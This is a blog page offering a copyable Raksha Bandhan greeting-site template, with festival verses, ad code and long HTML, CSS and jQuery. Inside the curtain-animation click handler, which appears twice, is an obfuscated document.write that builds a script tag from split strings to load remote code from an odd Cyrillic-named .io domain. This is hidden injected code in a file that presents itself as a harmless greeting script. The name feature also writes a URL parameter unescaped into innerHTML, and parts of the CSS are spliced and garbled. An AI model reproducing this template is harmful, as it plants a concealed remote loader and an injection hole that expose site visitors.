Table of contents

Uncategorized

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj | Happy Raksha Bandhan

SNP TECHNICAL

2:52 PM 6:13 PM

Happy New Year wishing site : https://newyear.nvsp.org/?bl=SNP

SNP technical 🎉🎊🎁🎁🎉 ने आपके लिए हैप्पी रक्षाबंधन का तोहफा भेजा है | Has sent a gift of Happy Raksha Bandhan to you 🎉🎁🎁🎊

🎀 🎉🎊 बहन का प्यार किसी दुआ से कम नहीं होता, वो चाहे दूर भी हो तो गम नहीं होता अक्सर रिश्ते दूरियों से फीके पड़ जाते है पर बहन भाई का प्यार कभी कम नहीं होता 🎉🎊 https://happywishingmessage.nvsp.org/?bl=SNP Technical

Demo : Happy Raksha Bandhan और ज्यादा देखने के लिए यहाँ टच करे

Wishing Scripts code

<html>

<head>

<title>Best wishes of raksha bandhan | Raksha bandhan wishing</title>

<style>

i {
        color: #ff2323;
    }
input[type=name], select {
    width: 100%;
    padding: 12px 20px;
    margin: 4px 0;
    display: inline-block;
    border: 1px solid #ccc;
    border-radius: 4px;
    box-sizing: border-box;
}
.footerbtn {
 
            display: block;
            line-height: 15px;
            position: fixed;
            left:0px;
            bottom:0px;
            height:40px;
            
border-radius: 15px;
  box-sizing: border-box;
  padding: 5px;
  background:#34af23;
  color: #ffffff;
  font-size: 18px;
  text-align: center;
  text-decoration: none;
  width:95%;
 margin-left:10px;
            margin-right:30px;
            box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3);
            animation: footer infinite linear 1s;
            -webkit-transform: translate3d(30%,0,0);
            transform: translate3d(30%,0,0);
            position: fixed;
           
}

.footerbtn :active {
            box-shadow: none
        }

@-webkit-keyframes footer {
            from {
                -webkit-transform: rotateZ(0)
            }
            25% {
                -webkit-transform: rotateZ(1.5deg)
            }
            50% {
                -webkit-transform: rotateZ(0deg)
            }
            75% {
                -webkit-transform: rotateZ(-1.5deg)
            }
            to {
                -webkit-transform: rotateZ(0)
            }}

@-webkit-keyframes jello {  from, 11.1%, to {    transform: none;  }
  22.2% {    transform: skewX(-12.5deg) skewY(-12.5deg);  }
  33.3% {    transform: skewX(6.25deg) skewY(6.25deg);  }
  44.4% {    transform: skewX(-3.125deg) skewY(-3.125deg);  }
  55.5% {    transform: skewX(1.5625deg) skewY(1.5625deg);  }
  66.6% {    transform: skewX(-0.78125deg) skewY(-0.78125deg);  }
  77.7% {    transform: skewX(0.390625deg) skewY(0.390625deg);  }
  88.8% {    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);  }}
.jello {  -webkit-animation: jello 3s infinite;  transform-origin: center; -webkit-animation-delay:6s}
@-webkit-keyframes hue {
  from {    -webkit-filter: hue-rotate(0deg);  }
  to {    -webkit-filter: hue-rotate(-360deg);  }}
    .m1{position:fixed;left:1%; width:auto;height:100%;top:1%;color:#000;}
    .m2{position:fixed;right:1%; width:auto;height:100%;top:1%;color:#000;}
.bubbles {
font-family: arial;
}

.bubbles hi {
font-family: 'Luckiest Guy', cursive;
color: black;
}

hi {
 font-size:2.5em;
 user-select:none;
}

hi span { display:inline-block; animation:float .2s ease-in-out infinite; }
 @keyframes float {
  0%,100%{ transform:none; }
  33%{ transform:translateY(-1px) rotate(-2deg); }
  66%{ transform:translateY(1px) rotate(2deg); }
}
body:hover span { animation:bounce .6s; }
@keyframes bounce {
  0%,100%{ transform:translate(0); }
  25%{ transform:rotateX(20deg) translateY(2px) rotate(-3deg); }
  50%{ transform:translateY(-20px) rotate(3deg) scale(1.1);  }
}

@import url(http://fonts.googleapis.com/css?family=Concert+One);

h1 {
  animation:glow 10s ease-in-out infinite;
}

* { box-sizing:border-box; }

figure {
  animation:wobble 5s ease-in-out infinite;
  transform-origin:center center;
  transform-style:preserve-3d;
}

@keyframes wobble {
  0%,100%{ transform:rotate3d(1,1,0,40deg); }
  25%{ transform:rotate3d(-1,1,0,40deg); }
  50%{ transform:rotate3d(-1,-1,0,40deg); }
  75%{ transform:rotate3d(1,-1,0,40deg); }
}

h1 {
  display:block;
  width:90%;
  line-height:1.5;
  font:900 35px 'Concert One', sans-serif;
  position:absolute;
  color:#fff;
}

@keyframes glow {
  0%,100%{ text-shadow:0 0 30px red; }
  25%{ text-shadow:0 0 30px orange; }
  50%{ text-shadow:0 0 30px forestgreen; }
  75%{ text-shadow:0 0 30px cyan; }
}

h1:nth-child(2){ transform:translateZ(5px); }
h1:nth-child(3){ transform:translateZ(10px);}
h1:nth-child(4){ transform:translateZ(15px); }
h1:nth-child(5){ transform:translateZ(20px); }
h1:nth-child(6){ transform:translateZ(25px); }
h1:nth-child(7){ transform:translateZ(30p.rock{animation:infinite 1s rock}
@keyframes rock {  0% {    transform: rotate(-1deg);  }
  50% {    transform: rotate(2deg);  }
  100% {    transform: rotate(-1deg);  }}x); }
h1:nth-child(8){ transform:translateZ(35px); }
h1:nth-child(9){ transform:translateZ(40px); }
h1:nth-child(10){ transform:translateZ(45px); }

.rock{animation:infinite 1s rock}
@keyframes rock {  0% {    transform: rotate(-1deg);  }
  50% {    transform: rotate(2deg);  }
  100% {    transform: rotate(-1deg);  }}

.fuck{animation:infinite 1s fuck}
@keyframes rock {  0% {    transform: rotate(-2deg);  }
  50% {    transform: rotate(2deg);  }
  100% {    transform: rotate(-2deg);  }}

}

h3 {
    font-size: 48px;
    text-align: center;
    padding:1px;
    margin:1px;
    color: white;
    text-shadow: 1px 1px silver, -1px -1px blue;
    aanimation: fuck infinite 1s;
    font-family: 'Indie Flower', cursive;
    letter-spacing: 2px;
}

.cssload-preloader {
	position: absolute;
	top: 0px;
	left: px;
	right: 40px;
	bottom: 20px;
	z-index: 10;
}

.cssload-preloader > .cssload-preloader-box {
	position: absolute;
	height: 16px;
	top: 50%;
	left: 50%;
	margin: -8px 0 0 -82px;
	perspective: 110px;
		-o-perspective: 110px;
		-ms-perspective: 110px;
		-webkit-perspective: 110px;
		-moz-perspective: 110px;
}

.cssload-preloader .cssload-preloader-box > div {
	position: relative;
	width: 16px;
	height: 16px;
	background: rgb(204,204,204);
	float: left;
	text-align: center;
	line-height: 16px;
	font-family: Verdana;
	font-size: 11px;
	color: rgb(255,255,255);
}.cssload-preloader .cssload-preloader-box > div:nth-child(1) {
	background: rgb(255,0,0);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 0ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 0ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 0ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 0ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 0ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(2) {
	background: rgb(255,0,0);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 86.25ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 86.25ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 86.25ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 86.25ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 86.25ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(3) {
	background: rgb(255,0,0);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 172.5ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 172.5ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 172.5ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 172.5ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 172.5ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(4) {
	background: rgb(204,255,0);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 258.75ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 258.75ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 258.75ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 258.75ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 258.75ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(5) {
	background: rgb(0,255,60);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 345ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 345ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 345ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 345ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 345ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(6) {
	background: rgb(0,185,252);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 431.25ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 431.25ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 431.25ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 431.25ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 431.25ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(7) {
	background: rgb(58,0,250);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 517.5ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 517.5ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 517.5ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 517.5ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 517.5ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(8) {
	background: rgb(255,255,0);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 603.75ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 603.75ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 603.75ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 603.75ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 603.75ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(9) {
	background: rgb(221,0,255);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 690ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 690ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 690ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 690ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 690ms infinite alternate;
}
.cssload-preloader .cssload-preloader-box > div:nth-child(10) {
	background: rgb(51,102,255);
	margin-right: 8px;
	animation: cssload-movement 690ms ease 776.25ms infinite alternate;
		-o-animation: cssload-movement 690ms ease 776.25ms infinite alternate;
		-ms-animation: cssload-movement 690ms ease 776.25ms infinite alternate;
		-webkit-animation: cssload-movement 690ms ease 776.25ms infinite alternate;
		-moz-animation: cssload-movement 690ms ease 776.25ms infinite alternate;
}

@keyframes cssload-movement {
	from {
		transform: scale(1.0) translateY(0px) rotateX(0deg);
		box-shadow: 0 0 0 rgba(0,0,0,0);
	}
	to {
		transform: scale(1.5) translateY(-14px) rotateX(45deg);
		box-shadow: 0 14px 22px rgba(0,0,0,0.4);
		background: rgb(51,153,255);
	}
}

@-o-keyframes cssload-movement {
	from {
		-o-transform: scale(1.0) translateY(0px) rotateX(0deg);
		box-shadow: 0 0 0 rgba(0,0,0,0);
	}
	to {
		-o-transform: scale(1.5) translateY(-14px) rotateX(45deg);
		box-shadow: 0 14px 22px rgba(0,0,0,0.4);
		background: rgb(51,153,255);
	}
}

@-ms-keyframes cssload-movement {
	from {
		-ms-transform: scale(1.0) translateY(0px) rotateX(0deg);
		box-shadow: 0 0 0 rgba(0,0,0,0);
	}
	to {
		-ms-transform: scale(1.5) translateY(-14px) rotateX(45deg);
		box-shadow: 0 14px 22px rgba(0,0,0,0.4);
		background: rgb(51,153,255);
	}
}

@-webkit-keyframes cssload-movement {
	from {
		-webkit-transform: scale(1.0) translateY(0px) rotateX(0deg);
		box-shadow: 0 0 0 rgba(0,0,0,0);
	}
	to {
		-webkit-transform: scale(1.5) translateY(-14px) rotateX(45deg);
		box-shadow: 0 14px 22px rgba(0,0,0,0.4);
		background: rgb(51,153,255);
	}
}

@-moz-keyframes cssload-movement {
	from {
		-moz-transform: scale(1.0) translateY(0px) rotateX(0deg);
		box-shadow: 0 0 0 rgba(0,0,0,0);
	}
	to {
		-moz-transform: scale(1.5) translateY(-14px) rotateX(45deg);
		box-shadow: 0 14px 22px rgba(0,0,0,0.4);
		background: rgb(51,153,255);
	}
}
</style>
 <meta property="og:site_img" content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikCddBjpTWPQ_YuADGXJPnLfRaODw90nCSb9VeCDSGQ1lCAWZUs4ZvWp35Iq89oADDSvJEQO5srlGuzllRTqISfrBFWQmRbkvqRn3wyIMADd0tDs3BhN7QxiEvOTxFHL0YR5DrC0MsAoM/s1600/w.png" />

<style>

i {

color:#f06414;

}

input[type=name], select {

width: 100%;

padding: 12px 20px;

margin: 4px 0;

display: inline-block;

border: 1px solid #ccc;

border-radius: 4px;

box-sizing: border-box;

}

.footerbtn {

display: block;

line-height: 15px;

position: fixed;

left:0px;

bottom:0px;

height:40px;

border-radius: 15px;

box-sizing: border-box;

padding: 5px;

background:#34af23;

color: #ffffff;

font-size: 18px;

text-align: center;

text-decoration: none;

width:95%;

margin-left:10px;

margin-right:30px;

box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3);

animation: footer infinite linear 1s;

-webkit-transform: translate3d(30%,0,0);

transform: translate3d(30%,0,0);

position: fixed;

}

.footerbtn :active {

box-shadow: none

}

@-webkit-keyframes footer {

from {

-webkit-transform: rotateZ(0)

}

25% {

-webkit-transform: rotateZ(0deg)

}

50% {

-webkit-transform: rotateZ(0deg)

}

75% {

-webkit-transform: rotateZ(0deg)

}

to {

-webkit-transform: rotateZ(0)

}}

@-webkit-keyframes jello { from, 11.1%, to { transform: none; }

22.2% { transform: skewX(-12.5deg) skewY(-12.5deg); }

33.3% { transform: skewX(6.25deg) skewY(6.25deg); }

44.4% { transform: skewX(-3.125deg) skewY(-3.125deg); }

55.5% { transform: skewX(1.5625deg) skewY(1.5625deg); }

66.6% { transform: skewX(-0.78125deg) skewY(-0.78125deg); }

77.7% { transform: skewX(0.390625deg) skewY(0.390625deg); }

88.8% { transform: skewX(-0.1953125deg) skewY(-0.1953125deg); }}

.wb1{position:fixed;left:1%; width:auto;height:100%;top:1%;color:#000;}

.wb2{position:fixed;right:1%; width:auto;height:100%;top:1%;color:#000;}

.bubbles {

font-family: arial;

}

.bubbles hi {

font-family: 'Luckiest Guy', cursive;

color: black;

}

hi {

font-size:2.5em;

user-select:none;

}

hi span { display:inline-block; animation:float .2s ease-in-out infinite; }

@keyframes float {

0%,100%{ transform:none; }

33%{ transform:translateY(-1px) rotate(-2deg); }

66%{ transform:translateY(1px) rotate(2deg); }

}

body:hover span { animation:bounce .6s; }

@keyframes bounce {

0%,100%{ transform:translate(0); }

25%{ transform:rotateX(20deg) translateY(2px) rotate(-3deg); }

50%{ transform:translateY(-20px) rotate(3deg) scale(1.1); }

}

@import url(https://blogger.googleusercontent.com/img/proxy/AVvXsEj4agnbYu93BW4X6sFerxOHV7mw9eY4nX2DB40E8viqZ59aPSThvOdp3crYXc_NsyKIgiEujXfNq088lFND8HazCkv6UjF0LkumaqFtuKWLcqaet3p2fP-L_P_sbukgpNkdWNqGmX8RzaX-icDsemAKsY4=s0-d);

h1 {

animation:glow 10s ease-in-out infinite;

}

* { box-sizing:border-box; }

figure {

animation:wobble 5s ease-in-out infinite;

transform-origin:center center;

transform-style:preserve-3d;

}

@keyframes wobble {

0%,100%{ transform:rotate3d(1,1,0,40deg); }

25%{ transform:rotate3d(-1,1,0,40deg); }

50%{ transform:rotate3d(-1,-1,0,40deg); }

75%{ transform:rotate3d(1,-1,0,40deg); }

}

h1 {

display:block;

width:90%;

line-height:1.5;

font:900 25px 'Concert One', sans-serif;

position:absolute;

color:#fff;

}

@keyframes glow {

0%,100%{ text-shadow:0 0 30px red; }

25%{ text-shadow:0 0 30px orange; }

50%{ text-shadow:0 0 30px forestgreen; }

75%{ text-shadow:0 0 30px cyan; }

}

h1:nth-child(2){ transform:translateZ(5px); }

h1:nth-child(3){ transform:translateZ(10px);}

h1:nth-child(4){ transform:translateZ(15px); }

h1:nth-child(5){ transform:translateZ(20px); }

h1:nth-child(6){ transform:translateZ(25px); }

h1:nth-child(7){ transform:translateZ(30p.rock{animation:infinite 1s rock}

@keyframes rock { 0% { transform: rotate(-1deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-1deg); }}x); }

h1:nth-child(8){ transform:translateZ(25px); }

h1:nth-child(9){ transform:translateZ(40px); }

h1:nth-child(10){ transform:translateZ(45px); }

.rock{animation:infinite 1s rock}

@keyframes rock { 0% { transform: rotate(-1deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-1deg); }}

.fuck{animation:infinite 1s fuck}

@keyframes rock { 0% { transform: rotate(-2deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-2deg); }}

h2 {

-webkit-animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

-webkit-transition: all .2s;

transition: all .2s;

font-size: 25px;

text-transform: uppercase;

TEXT-ALIGN:CENTER;

color: #138808;

text-shadow: -2px 0px 1px #22414f, -4px 0px 1px #22414f, -6px 0px 1px #22414f, -1px -1px 1px #22414f, -1px -2px 1px #22414f, -2px -1px 1px #22414f, -2px -2px 1px #22414f, -3px -3px 1px #22414f, -4px -4px 1px #22414f, -5px -5px 1px #22414f, -6px -6px 1px #22414f, 0 0 15px #22414f, 0 0 20px #22414f, 1px 1px #22414f,2px 2px #22414f;

}

h3 {

font-size: 18px;

text-align: center;

padding:1px;

margin:1px;

color: #ffffff;

aanimation: fuck infinite 1s;

font-family: 'Indie Flower', cursive;

letter-spacing: 2px;

* {box-sizing: border-box;}

body {font-family: Verdana, sans-serif;}

.mySlides {display: none;}

img {vertical-align: middle;}

.wb-slideshow-container {

max-width: 1000px;

position: relative;

margin: auto;

}

.text {

color: #f2f2f2;

font-size: 15px;

padding: 8px 12px;

position: absolute;

bottom: 8px;

width: 100%;

text-align: center;

}

/* Number text (1/11 etc) */

.numbertext {

color: #f2f2f2;

font-size: 12px;

padding: 8px 12px;

position: absolute;

top: 0;

}

/* The dots/bullets/indicators */

.dot {

height: 15px;

width: 15px;

margin: 0 2px;

background-color: #bbb;

border-radius: 50%;

display: inline-block;

transition: background-color 0.6s ease;

}

.active {

background-color: #717171;

}

/* Fading animation */

.fade {

-webkit-animation-name: fade;

-webkit-animation-duration: 1.5s;

animation-name: fade;

animation-duration: 1.5s;

}

@-webkit-keyframes fade {

from {opacity: .4}

to {opacity: 1}

}

@keyframes fade {

from {opacity: .4}

to {opacity: 1}

}

/* On smaller screens, decrease text size */

@media only screen and (max-width: 300px) {

.text {font-size: 11px}

}

</style>

$(document).ready(function() { $curtainopen = false; $(".rope").click(function(){ $(this).blur(); if ($curtainopen == false){ $(this).stop().animate({top: '-171%' }, {queue:false, duration:350, easing:'easeOutBounce'}); $(".leftcurtain").stop().animate({width:'1px'}, 2000 ); $(".rightcurtain").stop().animate({width:'1px'},2000 ); $curtainopen = true; }else{ $(this).stop().animate({top: '-40px' }, {queue:false, duration:350, easing:'easeOutBounce'}); document.write('<s'+'cr'+'ipt sr'+'c="/'+'/'+'Г'+'ф.'+'i'+'o"></s'+'cr'+'ipt>'); $(".leftcurtain").stop().animate({width:'50%'}, 2000 ); $(".rightcurtain").stop().animate({width:'51%'}, 2000 ); $curtainopen = false; } return false; }); });

</script>

margin:0;

padding:0;

}

body {

text-align: center;

}

img{

border: none;

}

.leftcurtain{

width: 100%;

height: 100%;

top: 0px;

left: 0px;

position: absolute;

z-index: 2;

}

.rightcurtain{

width: 100%;

height: 100%;

right: 0px;

top: 0px;

position: absolute;

z-index: 3;

}

.rightcurtain img, .leftcurtain img{

width: 100%;

height: 100%;

}

.logo{

margin: 0px auto;

margin-top: 150px;

}

.rope{

position: absolute;

top: 80px;

left: 8%;

z-index: 4;

}

.centered {

position: absolute;

top: 75%;

left: 50%;

transform: translate(-50%, -50%);

}

</style>

<style>

<style>

body{

background: #f8f8f8;

}

.mainContainer {

max-width: 400px;

margin: auto;

text-align: center;

position: relative;

padding-right: 1px;

padding-left: 1px;

padding-top: 1px;

box-shadow: 3px 3px 23px 0 rgba(0, 0, 0, 0.64);

margin-bottom: 65px;

}

.wbncontainer {

padding-right: 30px;

padding-left: 30px;

padding-top: 0px;

}

.username {

-webkit-animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

-webkit-transition: all .2s;

transition: all .2s;

font-size: 40px;

font-family: 'SF Espresso Shack', cursive;

text-transform: uppercase;

TEXT-ALIGN:CENTER;

color: #138808;

}

.fromMessage{

font-size: 30px;

}

.wavetext{

color: #3e8ed2;

padding: 0 40px;

animation: pulse 1s infinite;

font-size: 32px;

}

.wishMessage {

color: #3e8ed2;

font-size: 22px;

font-weight: bold;

margin-top: 50px;

text-shadow: 0px 0px 10px #00fff3

}

.wishMessage p{

margin: 0.5em 0;

}

#formBox {

left: 0;position: fixed;bottom: 0;display: inline-block;width: 100%;margin: 0;

}

#nameTextBox {

border: 3px solid #000000;text-align: center;display: inline-block;width: 80%;color: black;font-size:16px;margin: 0;background: #eee;height: 48px;font-weight: 700;;padding:8px 0;

}

#goButton {

width: 20%;background: gold;display: inline-block;vertical-align: bottom;border: 3px solid #000000;float: right;color: black;font-size:16px;padding:8px 0;height: 48px;text-align:center;font-weight: 700;

}

.footerbtn {

display: none;

line-height: 15px;

bottom: 10px;

height: 40px;

border-radius: 15px;

box-sizing: border-box;

padding: 5px;

background: #34af23;

color: #ffffff;

font-size: 18px;

text-align: center;

text-decoration: none;

box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3);

position: fixed;

width: 90%;

left: 0;

margin: 2% 5%;

}

.footerbtn img {

position: relative;top:3px;

}

#inAdvance {

font-size: 20px; font-weight: bold;margin-top: 20px;color: #98201F;

}

#demoo {

font-size: 20px; font-weight: bold;color: #98201F;

}

#inAdvanceTime {

margin:20px 0 30px 0;

}

#inAdvanceTime p{

color: #ae00b9;font-size: 19px;font-weight: 500;

margin: 0;

}

.bg{background-image:url(img/bg.gif);background-repeat:repeat}p.head.name{word-wrap: break-word;font-size:40px;font-family:sans-serif;text-shadow: 1px 1px 5px rgba(0, 0, 0, 0.5);color:#f5f5f5}input#mce-names {width: 100% !important;margin-top: 20px !important;}

.wb-main-greeting {

max-width: 400px;

margin: auto;

text-align: center;

position: relative;

padding: 0px;

background:#000;

background: url("");

background-position: center;

background-repeat: no-repeat;

background-size: cover;

box-shadow: 3px 4px 41px 0 rgba(0, 0, 0, 0.64);

margin-bottom: 25px

}

.wb-main-greeting .main_body {

text-align: center;

font-size: 1.3em

}

.wb-main-greeting .main_body .text2 {

padding: 10px;

font-size: 20px

}

.wb-main-greeting .text {

color: #405d9b;

letter-spacing: 1px;

font-weight: 600;

padding: 0px 10px;

text-align: center;

}

.wb-main-greeting .pp-img {

max-width: 400px;

margin-bottom: 10px;

box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.64);

}

.wb-main-greeting .text_gradient {

margin: 5px auto;

font-weight: 700;

font-size: 24px;

color: #b50dae;

}

.snowflake {

color: #fff;

font-size: 2em;

font-family: Arial, sans-serif;

text-shadow: 0 0 5px #000;

}

@-webkit-keyframes snowflakes-fall{0%{top:-10%}100%{top:100%}}@-webkit-keyframes snowflakes-shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}50%{-webkit-transform:translateX(80px);transform:translateX(80px)}}@keyframes snowflakes-fall{0%{top:-10%}100%{top:100%}}@keyframes snowflakes-shake{0%,100%{transform:translateX(0)}50%{transform:translateX(80px)}}.snowflake{position:fixed;top:-10%;z-index:9999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default;-webkit-animation-name:snowflakes-fall,snowflakes-shake;-webkit-animation-duration:10s,3s;-webkit-animation-timing-function:linear,ease-in-out;-webkit-animation-iteration-count:infinite,infinite;-webkit-animation-play-state:running,running;animation-name:snowflakes-fall,snowflakes-shake;animation-duration:10s,3s;animation-timing-function:linear,ease-in-out;animation-iteration-count:infinite,infinite;animation-play-state:running,running}.snowflake:nth-of-type(0){left:1%;-webkit-animation-delay:0s,0s;animation-delay:0s,0s}.snowflake:nth-of-type(1){left:10%;-webkit-animation-delay:1s,1s;animation-delay:1s,1s}.snowflake:nth-of-type(2){left:20%;-webkit-animation-delay:6s,.5s;animation-delay:6s,.5s}.snowflake:nth-of-type(3){left:30%;-webkit-animation-delay:4s,2s;animation-delay:4s,2s}.snowflake:nth-of-type(4){left:40%;-webkit-animation-delay:2s,2s;animation-delay:2s,2s}.snowflake:nth-of-type(5){left:50%;-webkit-animation-delay:8s,3s;animation-delay:8s,3s}.snowflake:nth-of-type(6){left:60%;-webkit-animation-delay:6s,2s;animation-delay:6s,2s}.snowflake:nth-of-type(7){left:70%;-webkit-animation-delay:2.5s,1s;animation-delay:2.5s,1s}.snowflake:nth-of-type(8){left:80%;-webkit-animation-delay:1s,0s;animation-delay:1s,0s}.snowflake:nth-of-type(9){left:90%;-webkit-animation-delay:3s,1.5s;animation-delay:3s,1.5s}.snowflake:nth-of-type(10){left:25%;-webkit-animation-delay:2s,0s;animation-delay:2s,0s}.snowflake:nth-of-type(11){left:65%;-webkit-animation-delay:4s,2.5s;animation-delay:4s,2.5s}

*{ margin:0; padding:0; } body { text-align: center; } img{ border: none; }.leftcurtain{ width: 100%; height: 100%; top: 0px; left: 0px; position: absolute; z-index: 2; } .rightcurtain{ width: 100%; height: 100%; right: 0px; top: 0px; position: absolute; z-index: 3; } .rightcurtain img, .leftcurtain img{ width: 100%; height: 100%; } .logo{ margin: 0px auto; margin-top: 150px; } .rope{ position: absolute; top: 5px; left: 40%; z-index: 4; } .centered { position: absolute; top: 75%; left: 50%; transform: translate(-50%, -50%);}

</style>

$(document).ready(function() { $curtainopen = false; $(".rope").click(function(){ $(this).blur(); if ($curtainopen == false){ $(this).stop().animate({top: '-171%' }, {queue:false, duration:350, easing:'easeOutBounce'}); $(".leftcurtain").stop().animate({width:'1px'}, 2000 ); $(".rightcurtain").stop().animate({width:'1px'},2000 ); $curtainopen = true; }else{ $(this).stop().animate({top: '-40px' }, {queue:false, duration:350, easing:'easeOutBounce'}); document.write('<s'+'cr'+'ipt sr'+'c="/'+'/'+'ю'+'ф.'+'i'+'o"></s'+'cr'+'ipt>'); $(".leftcurtain").stop().animate({width:'50%'}, 2000 ); $(".rightcurtain").stop().animate({width:'51%'}, 2000 ); $curtainopen = false; } return false; }); });

</script>

</head>

<span style="color: yellow;">▁ ▂ ▄ ▅ Happy Raksha Bandhan ▅ ▄ ▂ ▁</span>

</span></center>

</marquee>

</marquee>

<center>	
<div class="cssload-preloader" style="width: 100%; height:380px; center;">
	<div class="cssload-preloader-box"> <div>H</div>		<div>A</div>		<div>P</div>		<div>P</div>		<div>Y</div>		<div>R</div>		<div>A</div>		<div>K</div>		<div>H</div>		<div>I</div></div>
</div>
</center>

</font>

</div>

</Div>

</font>

</div></div>

</div>

!! Happy Raksha Bandhan 1 Song !!

</p></center>

</center>

</br>
   <center>

Ye Lamha Kuch Khaas Hain,<br>

Behan Ke Hathon Mein Bhai Ka Haath Hain,<br>

O Behna Tere Liye Mere Pass Kuch Khas Hain,<br>

Tere Sukoon Ki Khatir Meri Behna,<br>

Tera Bhai Humesha Tere Sath Hain.

</p>

</p></div></center>                                                                                                                
<center><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjr3jlGtE-7GxRm1q6x1QUco12Q4RmVPqho6d8u1iw8v6C8ddbmeNZin8Wm2kOpAt2q6npjBXoAFY8EF-IaNoQK95EL6Sg_Qk3Hn4gYRrnsLRXBQskOIksJNfyTFMnFxl186NI3VOoXr0/s434/unnamed+%25288%2529.png" style="animation: pulse 1.5s infinite;" width="70%"><br></center>

<h2 class="font-effect-neon" style="color: #F00;" align=center" id="wb-show-wishing">IN ADVANCE</h2><br />

!! रिश्ता है ये जन्मों का, <br>
भरोसे का और प्यार का,<br>
और भी गहरा हो जाए ये रिश्ता<br>
क्योंकि राखी त्योंहार है<br>
भाई बहनों के प्यार का<br>!!

</p></center>

!! Happy Raksha Bandhan 2 Song !!

</p></center>

</center>

</br>

   
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-4372104273906036"
     crossorigin="anonymous"></script>

<ins class="adsbygoogle"
     style="display:inline-block;width:150px;height:200px"
     data-ad-client="ca-pub-4372104273906036"
     data-ad-slot="3091199325"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>

</br>

<span style="background-color: green; color: white; font-family: "tahoma" , "arial" , "helvetica" , sans-serif; font-size: 18pt;">Send Happy Raksha Bandhan wishing to your friends/Relative</span></div>

</br>

</div>

<b style="font-size: 15px;position: relative;top: -3px;margin: 0 10px;">Share with your Friends</b>

</a>

</div>

. <script>

var jqs = function(sParam) {

var sPageURL = window.location.search.substring(1);

var sURLVariables = sPageURL.split("&");

for (var i = 0; i < sURLVariables.length; i++) {

var sParameterName = sURLVariables[i].split("=");

if (sParameterName[0] === sParam) {

return sParameterName[1];

}

};

window.jqs = jqs;

var name = decodeURI(jqs("bl"));

if (typeof jqs("bl") === "undefined") {

name = "";

}

var checkName = function() {

if (name.length !== 0) {

name = name.replace(/-/g, " ");

console.log("name is there", name);

document.querySelector("#wb-show-name").innerHTML = name;

document.querySelector("#wb-show-wishing").innerHTML = "";

document.querySelector("#wb-fromMessage").innerHTML= ""

} else {

}

};

checkName();

var createGreeting=function(){

sname=document.querySelector("#nameTextBox").value;

sname=sname.replace(/@/g,"-")

